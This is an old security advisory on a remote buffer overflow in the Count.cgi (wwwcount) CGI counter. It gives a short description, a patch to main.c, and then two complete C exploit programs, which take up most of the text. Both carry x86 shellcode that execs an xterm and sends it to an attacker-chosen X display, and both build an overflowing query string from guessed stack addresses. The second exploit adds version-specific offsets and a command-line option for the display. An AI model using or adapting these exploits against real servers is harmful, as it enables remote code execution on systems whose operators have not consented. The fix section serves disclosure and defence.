                   plaguez security advisory n.11

                 Count.cgi (wwwcount) remote exploit

Program:   Count.cgi (wwwcount), a popular CGI web counter

Version:   Tested on 2.3, others probably affected as well (?)

OS:        All

Impact:    a buffer can be overflowed in the Count.cgi program,
           allowing remote http users to execute arbitrary commands
           on the target machine.

Hi,

there are at least two buffer overflow vulnerabilities in wwwcount, a
widely used CGI web counter.
The most harmful occurs when the QUERY_STRING environment variable
(which reflects the url asked by the www client) is copied to a
fixed-size dynamic buffer. Another one occures only when the counter
is compiled with a special authentication option, and may not
be exploitable.

Fix:
----
As they are exploitable remotely, these holes are extremely serious
and should be addressed as soon as possible. A temporary fix, if the
sources are not available, is to remove the exec permissions
(chmod -x) of the Count.cgi executable (located in your httpd's cgi-bin/
directory).
The actual fix is pretty simple. Apply the following patch to the
file main.c. Environment variables will be cutted down to their first
600 chars. The idea of this patch can also be adapted for other
purposes, mainly to develop a generic cgi-bin wraper.

58a59,72

> void wrapit(char *envvar,int esize)
> {
>    char *tmp,*tmp2;
>    tmp=malloc(esize+1);
>    if(tmp==NULL)
>      {
>       Debug2("Can't allocate wrapper memory buffer.",0,0);
>       exit(1);
>      }
>    strncpy(tmp,(tmp2=getenv(envvar))?tmp2:"",esize-1);
>    tmp[esize]='\0';
>    setenv(envvar,tmp,1);
> }
>
89c103
<     char
---
>    char
185a200,207
>    /*
>     * avoid any buffer overflow problem by cutting some env variables
>     */
>
>    wrapit("QUERY_STRING",600);
>    wrapit("HTTP_REFERER",600);
>    wrapit("HTTP_USER_AGENT",600);
>

Exploit:
--------
here is a _sample_ exploit, designed to be used on localhost. Needs lots of
work to be really usefull, remote stack prediction is still a big problem.

------------cutcut-------8<-----------------------------------------------

/*

Count.cgi (wwwcount) linux  test exploit
(c) 05/1997 by plaguez  -  dube0866@eurobretagne.fr
Contact me if you manage to improve this crap.

This program needs drastic changes to be useable.
If you can't understand how to modify it for your own purpose,
please do not consider trying it.

*/

#include <stdio.h>
#include <stdlib.h>

char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d"
"\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56"
"\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d"
"\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31"
"\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0"
"127.000.000.001:00"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff";

/*

Assembly stuff for the previous buffer.
This basically implements an execve syscall, by creating
an array of char* (needs to put a null byte at the end of
all strings).
Here we gonna exec an xterm and send it to our host.
(you can't simply exec a shell due to the cgi proto).

        jmp    60
        popl   %esi
        xorl   %eax,%eax           # efface eax
        movl   %esi,%ecx           # recupere l'adresse du buffer
        leal   0x18(%esi),%ebx     # recupere l'adresse des chaines
        movb   %al,0x2c(%esi)      # cree les chaines azt
        movb   %al,0x30(%esi)      #
        movb   %al,0x39(%esi)
        movb   %al,0x4b(%esi)
        leal   0x20(%esi),%edx     # cree le char**
        movl   %edx,(%esi)
        leal   0x2d(%esi),%edx
        movl   %edx,0x4(%esi)
        leal   0x31(%esi),%edx
        movl   %edx,0x8(%esi)
        leal   0x3a(%esi),%edx
        movl   %edx,0xc(%esi)
        leal   0x10(%esi),%edx
        movl   %eax,0x10(%esi)
        movb   $0xb,%al
        int    $0x80                #  passe en mode kernel
        xorl   %ebx,%ebx            #  termine proprement (exit())
        movl   %ebx,%eax            #  si jamais le execve() foire.
        inc    %eax                 #
        int    $0x80                #
        call   -65                  #  retourne au popl en empilant l'adresse de la chaine
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
        .ascii \"/usr/X11R6/bin/xterm0\"         # 44
        .ascii \"-ut0\"                          # 48
        .ascii \"-display0\"                 # 57  au ;
        .ascii \"127.000.000.001:00\"        # 75 (total des chaines)
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
        .byte  0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff
            ...
 */

char qs[7000];
char chaine[]="user=a";

unsigned long getesp() {
   //   asm("movl %esp,%eax");
   return 0xbfffee38;
}

void main(int argc, char **argv) {
   int compt;
   long stack;

   stack=getesp();

   if(argc>1)
     stack+=atoi(argv[1]);

   for(compt=0;compt<4104;compt+=4) {
      qs[compt+0] = stack &  0x000000ff;
      qs[compt+1] = (stack & 0x0000ff00) >> 8;
      qs[compt+2] = (stack & 0x00ff0000) >> 16;
      qs[compt+3] = (stack & 0xff000000) >> 24;
   }

   strcpy(qs,chaine);
   qs[strlen(chaine)]=0x90;

   qs[4104]= stack&0x000000ff;
   qs[4105]=(stack&0x0000ff00)>>8;
   qs[4106]=(stack&0x00ff0000)>>16;
   qs[4107]=(stack&0xff000000)>>24;
   qs[4108]= stack&0x000000ff;
   qs[4109]=(stack&0x0000ff00)>>8;
   qs[4110]=(stack&0x00ff0000)>>16;
   qs[4111]=(stack&0xff000000)>>24;
   qs[4112]= stack&0x000000ff;
   qs[4113]=(stack&0x0000ff00)>>8;
   qs[4114]=(stack&0x00ff0000)>>16;
   qs[4115]=(stack&0xff000000)>>24;
   qs[4116]= stack&0x000000ff;
   qs[4117]=(stack&0x0000ff00)>>8;
   qs[4118]=(stack&0x00ff0000)>>16;
   qs[4119]=(stack&0xff000000)>>24;
   qs[4120]= stack&0x000000ff;
   qs[4121]=(stack&0x0000ff00)>>8;
   qs[4122]=(stack&0x00ff0000)>>16;
   qs[4123]=(stack&0xff000000)>>24;
   qs[4124]= stack&0x000000ff;
   qs[4125]=(stack&0x0000ff00)>>8;
   qs[4126]=(stack&0x00ff0000)>>16;
   qs[4127]=(stack&0xff000000)>>24;
   qs[4128]= stack&0x000000ff;
   qs[4129]=(stack&0x0000ff00)>>8;
   qs[4130]=(stack&0x00ff0000)>>16;
   qs[4131]=(stack&0xff000000)>>24;

   strcpy((char*)&qs[4132],shell);

   /* Choose what to do here */
   printf("GET /cgi-bin/Count.cgi?%s\n\n",qs);
   /*fprintf(stderr,"\n\nadresse: %x0x\n",stack);
   printf("GET /cgi-bin/Count.cgi?%s HTTP/1.0\nUser-Agent: %x\n\n",qs,stack);
   setenv("QUERY_STRING",qs,1);
   system("/usr/local/etc/httpd/cgi-bin/Count.cgi");
   system("/bin/sh");*/

}
-------------------------------------8<-------------------------


     [Second Version]
-----------SnIp------------
/*###############################################################
#################################################################
##
##   count.cgi.l.c -  intel linux exploit for Count.cgi
##   Gus/97
##   Shell code blatantly stolen from 'wwwcount.c' by 
##   Plaguez <dube0866@eurobretagne.fr>
##      
##   Spawns an xterm on your $DISPLAY, or override on command
##   line.
##
##
*/


#include <stdio.h>
#include <stdlib.h>
#include <getopt.h>
#include <unistd.h>

/* Forwards */
unsigned long getsp(int);
int usage(char *);
void doit(long, char *);

/* Constants */
char shell[]=
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\xeb\x3c\x5e\x31\xc0\x89\xf1\x8d\x5e\x18\x88\x46\x2c\x88\x46\x30"
"\x88\x46\x39\x88\x46\x4b\x8d\x56\x20\x89\x16\x8d\x56\x2d\x89\x56"
"\x04\x8d\x56\x31\x89\x56\x08\x8d\x56\x3a\x89\x56\x0c\x8d\x56\x10"
"\x89\x46\x10\xb0\x0b\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xbf"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"/usr/X11R6/bin/xterm0-ut0-display0";
char endpad[]=
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff"
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";



int main (int argc, char *argv[]){
  char *shellcode;
  int cnt,ver;
  unsigned long sp;
  int retcount;
  int dotquads[4];
  int dispnum;
  char displaynamebuf[255];

  
  sp = cnt = ver = 0;
  fprintf(stderr,"\tcounterterm - Gus\n");
  if (argc<3) usage(argv[0]);

  while ((cnt = getopt(argc,argv,"d:v:")) != EOF) {
    switch(cnt){
    case 'd':
      {
        retcount = sscanf(optarg, "%d.%d.%d.%d:%d", 
                          &dotquads[0],
                          &dotquads[1],
                          &dotquads[2],
                          &dotquads[3], &dispnum);
        if (retcount != 5) usage(argv[0]);
        sprintf(displaynamebuf, "%03d.%03d.%03d.%03d:%01d", 
                dotquads[0], dotquads[1], dotquads[2],dotquads[3], dispnum);
        shellcode=malloc(strlen((char *)optarg)+strlen(shell)+strlen(endpad));
        sprintf(shellcode,"%s%s%s",shell,displaynamebuf,endpad);
      }
    break;
    case 'v':
      ver = atoi(optarg);
      printf("Ver is %d\n",ver);
      break;
    default:
      usage(argv[0]);
      break;
    }
  }
  
  sp = getsp(ver);  

  (void)doit(sp,shellcode);

  exit(0);
}

unsigned long getsp(int ver) {

  /* Get the stack pointer we should be using. This is version specific, and,
  ** as with all buffer overruns is more of a pointer than a precise value.
  */
  
  unsigned long sp=0;
  
  if (ver == 15) sp = 0xFFFFFF;
  if (ver == 20) sp = 0XFFFFFF;
  if (ver == 22) sp = 0xbfffa0b4;
  if (ver == 23) sp = 0xbfffee38;
  if (sp == 0) {
    fprintf(stderr,"That version is not vulnerable.\n");
    exit(1);
  } else {
    fprintf(stderr,"\tUsing offset 0x%x\n",sp);
    return sp;
  }

}


int usage (char *name) {
  fprintf(stderr,"\tUsage:%s -d <display> -v <version>\n",name);
  fprintf(stderr,"\te.g. %s -d 127.0.0.1:0 -v 22\n",name);
  exit(1);
}

void doit (long sp, char *shellcode) {
 
  int cnt;
  char qs[7000];
  char chain[] = "user=a";
  
  
  for(cnt=0;cnt<4104;cnt+=4) {
    qs[cnt+0] = sp &  0x000000ff;
    qs[cnt+1] = (sp & 0x0000ff00) >> 8;
    qs[cnt+2] = (sp & 0x00ff0000) >> 16;
    qs[cnt+3] = (sp & 0xff000000) >> 24;
  }
  strcpy(qs,chain);
  qs[strlen(chain)]=0x90;

  qs[4104]= sp&0x000000ff;
  qs[4105]=(sp&0x0000ff00)>>8;
  qs[4106]=(sp&0x00ff0000)>>16;
  qs[4107]=(sp&0xff000000)>>24;
  qs[4108]= sp&0x000000ff;
  qs[4109]=(sp&0x0000ff00)>>8;
  qs[4110]=(sp&0x00ff0000)>>16;
  qs[4111]=(sp&0xff000000)>>24;
  qs[4112]= sp&0x000000ff;
  qs[4113]=(sp&0x0000ff00)>>8;
  qs[4114]=(sp&0x00ff0000)>>16;
  qs[4115]=(sp&0xff000000)>>24;
  qs[4116]= sp&0x000000ff;
  qs[4117]=(sp&0x0000ff00)>>8;
  qs[4118]=(sp&0x00ff0000)>>16;
  qs[4119]=(sp&0xff000000)>>24;
  qs[4120]= sp&0x000000ff;
  qs[4121]=(sp&0x0000ff00)>>8;
  qs[4122]=(sp&0x00ff0000)>>16;
  qs[4123]=(sp&0xff000000)>>24;
  qs[4124]= sp&0x000000ff;
  qs[4125]=(sp&0x0000ff00)>>8;
  qs[4126]=(sp&0x00ff0000)>>16;
  qs[4127]=(sp&0xff000000)>>24;
  qs[4128]= sp&0x000000ff;
  qs[4129]=(sp&0x0000ff00)>>8;
  qs[4130]=(sp&0x00ff0000)>>16;
  qs[4131]=(sp&0xff000000)>>24;
  
  strcpy((char*)&qs[4132],shellcode);

  
  fprintf(stderr,"GET /cgi-bin/counter?%s\n\n",qs);


  setenv("HTTP_USER_AGENT",qs,1);
  setenv("QUERY_STRING",qs,1);
  system("./Count.cgi");

}
----------EOF----------
later,

-plaguez
dube0866@eurobretagne.fr

BTW here is my _NEW_ pgp key. The old one went to another dimension in
in an hd crash (NEVER ^C the e2defrag shit !).
Sorry for the ppl who are sending encrypted mails with the old key.
This time I'll make backups.

Type Bits/KeyID    Date       User ID
pub  1024/FF7CBA31 1997/10/08 plaguez <dube0866@eurobretagne.fr>

-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.6.3i

mQCNAzQ7utYAAAEEAOJCaB92rTsUutk5TYpIIFDevSGutQzMaUpsoOqTbUHHzdXE
XoqP1FKYQ1kBQHqwy8KFFW71PLpRh2ruBQp7KN9TAF/aVsvq7vrY3gbgfBKjd5Mb
7at2G2wxWXAIY/Pse8MhyVWNomM74F4fGYxZ3SakBUva3tBV57sRa5D/fLoxAAUR
tCJwbGFndWV6IDxkdWJlMDg2NkBldXJvYnJldGFnbmUuZnI+iQCVAwUQNDu61rsR
a5D/fLoxAQHRBwQAv7pSTXs1giB1HcLs5gJQhMVodYPO6QsCS235UGJOLQ9K2azT
9MH8FDrzFWALf2MqgPSIsV5njedgDjURreF9+Hvoto0zj7ACE62NHB1UdyuiprFy
KhY8xtBarVSJ6qWWyM+Fld6bY3sagDCsrsyqdUvp5Enl9ASEFlJSUCH05X4=
=CFE6
-----END PGP PUBLIC KEY BLOCK-----

